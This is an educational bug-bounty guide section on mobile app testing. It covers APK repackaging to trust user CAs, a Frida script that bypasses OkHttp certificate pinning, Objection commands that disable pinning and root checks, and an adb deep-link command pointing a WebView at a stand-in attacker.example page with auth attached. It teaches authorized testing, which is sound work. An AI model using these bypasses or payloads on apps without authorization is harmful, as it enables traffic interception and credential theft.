Skip to content

Advanced Mobile & Cloud Testing Stacks

5 min readBug Hunting for Beginners

Section 15 introduces Android emulators, certificates, and JADX-GUI. Serious mobile bug hunting relies on fast CLI pipelines, binary inspection, Frida runtime hooks, and headless iOS static analysis on Windows or Linux.

Mobile clients often call private or older backend APIs that web-only hunters never see. Mastering an Android-first workflow with local iOS static triage gives you access to that surface without buying a Mac.


Do static analysis in a strict order before launching dynamic instrumentation:

  1. Manifest first. Decode AndroidManifest.xml with apktool. Audit every Activity, Service, BroadcastReceiver, and ContentProvider with android:exported="true" or an intent-filter lacking a signature permission. Check usesCleartextTraffic, debuggable, and allowBackup.
  2. Entry points second. Trace MainActivity, deep-link handlers (getIntent().getData()), and WebView configurations (setJavaScriptEnabled(true), addJavascriptInterface, setAllowFileAccessFromFileURLs) in JADX. Check Content Providers for SQL injection or path traversal in openFile().
  3. Network config third. Inspect res/xml/network_security_config.xml, custom TrustManager or HostnameVerifier classes, and hardcoded base URLs.
  4. Secrets and native boundaries fourth. Search for API tokens, OAuth client secrets, and native JNI declarations (System.loadLibrary()). Extract .so files from lib/arm64-v8a/ for Ghidra or REA inspection (Section 24).
  5. Validate against the backend fifth. A hardcoded URL, secret candidate, or exported flag is a lead, not a report. Confirm real impact against the backend or at runtime before filing.

To inspect raw Smali assembly, enable debugging, or add user CA trust to a test build:

Terminal window
# 1. Decompile APK to smali code and raw resources
apktool d target.apk -o apk_source
# 2. Modify AndroidManifest.xml:
# - Set android:debuggable="true" on <application>
# - Point android:networkSecurityConfig to @xml/network_security_config
# 3. Trust user certificates in res/xml/network_security_config.xml:
cat << 'EOF' > apk_source/res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system" />
<certificates src="user" />
</trust-anchors>
</base-config>
</network-security-config>
EOF
# 4. Rebuild, align, and sign with a debug keystore
apktool b apk_source -o modified.apk
zipalign -p -f -v 4 modified.apk aligned.apk
apksigner sign --ks ~/.android/debug.keystore --ks-pass pass:android aligned.apk

Use jadx-cli to search across thousands of decompiled classes from your terminal:

Terminal window
# Decompile entire APK with deobfuscation
jadx -d ./jadx_out --deobf target.apk
# Search for API endpoints, GraphQL routes, JWTs, and AWS keys
grep -rnE "(https?://|/api/v[0-9]|graphql|eyJ[A-Za-z0-9_-]{10,}|AKIA[0-9A-Z]{16})" ./jadx_out/sources/
# Locate risky WebView bridges
grep -rn "setJavaScriptEnabled(true)" ./jadx_out/sources/
grep -rn "addJavascriptInterface" ./jadx_out/sources/

Dynamic instrumentation with Frida and Objection

Section titled “Dynamic instrumentation with Frida and Objection”

Connect a physical rooted Android device over USB when possible (zero emulator RAM overhead, native ARM64 .so execution, fewer emulator checks) and install the CLI tools in an isolated uv environment:

Terminal window
# Install CLI tools via uv
uv tool install frida-tools
uv tool install objection
# Forward local Caido or Burp proxy port (8080) to the Android device
adb reverse tcp:8080 tcp:8080
# Inspect app private storage on a rooted test device (MASVS-STORAGE)
adb shell "su -c 'ls -la /data/data/com.target.app/shared_prefs/'"
# Launch Objection for exploratory runtime inspection
objection --gadget com.target.app explore
# Valid Objection commands inside the console:
android sslpinning disable
android root disable
android keystore list

Runtime instrumentation script (audit_hooks.js)

Section titled “Runtime instrumentation script (audit_hooks.js)”

Run with frida -U -f com.target.app -l audit_hooks.js:

// Frida Runtime Instrumentation Script for Android Target Auditing
Java.perform(function () {
console.log("[*] Initializing Android Runtime Audit Hooks...");
// 1. MASVS-NETWORK-2: OkHttp3 Certificate Pinning observation/bypass on test device
try {
const CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation = function (hostname, peerCertificates) {
console.log("[+] Bypassed OkHttp3 CertificatePinner for host: " + hostname);
return;
};
} catch (err) {
console.log("[-] OkHttp3 CertificatePinner not found or obfuscated.");
}
// 2. MASVS-PLATFORM: Monitor Incoming Intents, Deep Links, and WebView URLs
const Activity = Java.use("android.app.Activity");
Activity.onCreate.overload("android.os.Bundle").implementation = function (savedInstanceState) {
const intent = this.getIntent();
if (intent !== null) {
const action = intent.getAction();
const dataString = intent.getDataString();
const extras = intent.getExtras();
console.log("[INTENT MONITOR] Activity: " + this.getClass().getName() +
" | Action: " + action +
" | Data URI: " + dataString +
" | Extras: " + (extras ? extras.toString() : "none"));
}
return this.onCreate(savedInstanceState);
};
const WebView = Java.use("android.webkit.WebView");
WebView.loadUrl.overload("java.lang.String").implementation = function (url) {
console.log("[WEBVIEW MONITOR] WebView.loadUrl invoked with: " + url);
return this.loadUrl(url);
};
});
// 3. Native JNI Boundary Hooking
const targetLib = "libnative-crypto.so";
const awaitLibLoad = setInterval(function () {
const mod = Process.findModuleByName(targetLib);
if (mod !== null) {
clearInterval(awaitLibLoad);
console.log("[+] Native module loaded at base: " + mod.base);
const exports = mod.enumerateExports();
exports.forEach(function (exp) {
if (exp.name.indexOf("Java_") === 0 || exp.name.indexOf("sign") !== -1) {
console.log("[JNI EXPORT] Hooking " + exp.name + " at " + exp.address);
Interceptor.attach(exp.address, {
onEnter: function (args) {
console.log("[JNI CALL] Entering " + exp.name);
},
onLeave: function (retval) {
console.log("[JNI RET] Leaving " + exp.name + " -> retval: " + retval);
}
});
}
});
}
}, 200);

Trigger exported custom URI schemes directly from your terminal while Frida monitors Activity.onCreate and WebView.loadUrl:

Terminal window
adb shell am start -W -a android.intent.action.VIEW \
-d "targetapp://checkout/webview?url=https://attacker.example/poc.html&attach_auth=true" \
com.target.app

3. Headless iOS IPA analysis on Windows and Linux

Section titled “3. Headless iOS IPA analysis on Windows and Linux”

You do not need macOS to run thorough static analysis on iOS packages (.ipa). An IPA is a standard ZIP archive holding Mach-O binaries, Info.plist, and provisioning profiles. Developers often leave staging URLs or legacy v1 routes inside iOS binaries after removing them from Android and web clients.

flowchart TD
  IPA["Target.ipa (Standard ZIP Archive)"] --> Extract["unzip -q Target.ipa -d ./extracted"]
  Extract --> Info["Info.plist: Schemes, ATS, Permissions"]
  Extract --> MachO["Mach-O Binary: ipsw, strings, Ghidra"]
  Extract --> Provision["embedded.mobileprovision: Entitlements"]

  Info --> Schemes["Custom URL schemes (e.g. app://)"]
  MachO --> Endpoints["Extracted API routes & API keys"]
  MachO --> Headers["Objective-C & Swift Class Dumps"]

Step-by-step Linux/Windows iOS audit workflow

Section titled “Step-by-step Linux/Windows iOS audit workflow”

Use blacktop/ipsw (single static Go binary for Windows, Linux, and macOS). For browser-based quick triage without installing anything, ipaauditor parses Info.plist, Mach-O headers, and entitlements locally in the browser. Skip the legacy macho Rust crate (abandoned since 2016); use ipsw, goblin, or LIEF instead.

Terminal window
# 1. Unzip IPA archive
unzip -q TargetApp.ipa -d ./extracted_ipa
cd extracted_ipa/Payload/*.app
# 2. Parse Info.plist and URL schemes using Python's built-in plistlib
python -c "import plistlib; print(plistlib.load(open('Info.plist','rb')))"
# Or using plistutil on Linux:
plistutil -i Info.plist
# 3. Extract Mach-O entitlements and embedded provisioning profile
ipsw macho info --ent TargetAppBinary
openssl smime -inform DER -verify -noverify -in embedded.mobileprovision -out provisioning.plist 2>/dev/null
# 4. Inspect Mach-O headers, encryption status (cryptid), and security flags (PIE, ARC)
ipsw macho info TargetAppBinary
# 5. Reconstruct Objective-C & Swift class headers (works when cryptid == 0)
ipsw class-dump --headers --output ./dumped_headers TargetAppBinary
ipsw class-dump --headers --output ./framework_headers Frameworks/*.framework/*
# 6. Extract embedded API endpoints, GraphQL queries, and credentials
strings -n 8 TargetAppBinary | grep -E "(https?://|/api/v[0-9]|graphql|eyJ[A-Za-z0-9_-]{10,}|AKIA[0-9A-Z]{16})"
Audit task Linux / Windows Requires macOS or iOS device
Unzip and inspect IPA bundle structure Yes (unzip) No
Parse Info.plist and custom URL schemes Yes (plistlib / plistutil) No
Extract Mach-O entitlements and provisioning Yes (ipsw / openssl) No
Class-dump Objective-C/Swift interfaces Yes if unencrypted (cryptid == 0) Only if FairPlay-encrypted (cryptid == 1)
Extract hardcoded API strings and keys Yes (strings / ripgrep) No
Disassemble Mach-O in Ghidra / REA Yes if unencrypted (cryptid == 0) Only if FairPlay-encrypted
Decrypt FairPlay DRM binaries from memory No Yes (jailbroken device or Corellium)
Dynamic Frida / Objection instrumentation No (local) / Yes (cloud VM) Yes (jailbroken device or Corellium)

When an in-scope iOS target requires dynamic instrumentation (hooking native signers, runtime keychain inspection, or live traffic capture) and you do not own Apple hardware, Corellium provides ARM-native virtualized iOS devices in the cloud with root access and built-in Frida support.

  • Pricing and access check: Cellebrite acquired Corellium in mid-2025, and commercial plans are primarily enterprise-focused (evaluation trials are available on request). Ignore outdated third-party “$3/hr Solo” quotes and check Corellium’s official pricing documentation before budgeting for it. Browser simulator services like Appetize.io do not give root access or Frida hooks.
  • Legal background: In Apple v. Corellium, the district court found fair use on Apple’s copyright claims (2020), the Eleventh Circuit affirmed fair use in a non-precedential opinion (May 2023) while remanding other claims, and the parties reached a confidential settlement in December 2023. Only test binaries you have explicit program authorization to audit.
  1. Device selection: Provision an iPhone model running a supported jailbroken profile.
  2. Network routing: Connect your workstation to the Corellium instance’s VPN tunnel.
  3. Proxy configuration: Listen on 0.0.0.0:8080 in Caido or Burp Suite, point the virtual iPhone’s Wi-Fi HTTP proxy to your host VPN IP on port 8080, and trust the CA under Settings -> General -> About -> Certificate Trust Settings.
  4. Frida attachment: Corellium instances run frida-server natively:
    Terminal window
    frida-ps -U
    frida -U -f com.target.iosapp -l ios_hooks.js

Map mobile findings to OWASP MASVS v2 and MASTG v2.0.0 (shipped June 2026):

  • MASVS-STORAGE: Insecure storage in Android SharedPreferences, SQLite, DataStore, iOS NSUserDefaults, Keychain/Keystore backups, or logs.
  • MASVS-CRYPTO: Hardcoded AES/HMAC keys, static IVs, or weak PRNGs in Java/Kotlin or native .so/Mach-O libraries.
  • MASVS-AUTH: Client-side biometric bypasses (boolean checks instead of CryptoObject-bound keystore ops), OAuth PKCE fixation, or broken token lifecycle.
  • MASVS-NETWORK: Cleartext traffic, weak TLS validation, or broken certificate pinning across WebViews and native stacks.
  • MASVS-PLATFORM: Exported activities/receivers, unvalidated deep links or Universal Links, insecure WebView JavaScript bridges, or intent redirection.
  • MASVS-CODE: Memory safety issues at JNI boundaries and unsafe native code handling.
  • MASVS-RESILIENCE: Root/jailbreak detection, anti-debugging, and obfuscation. Treat as client-side hardening, not a standalone bounty bug.
  • MASVS-PRIVACY: Hardware device identifiers, clipboard leakage, and unauthorized third-party SDK telemetry.

Next step: see how the sources rank these classes in Section 26.

Connections2 backlinks · 3 outgoingFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Bug Hunting for BeginnersFor authorized testing only. Read the ethics note before you put a domain in scope.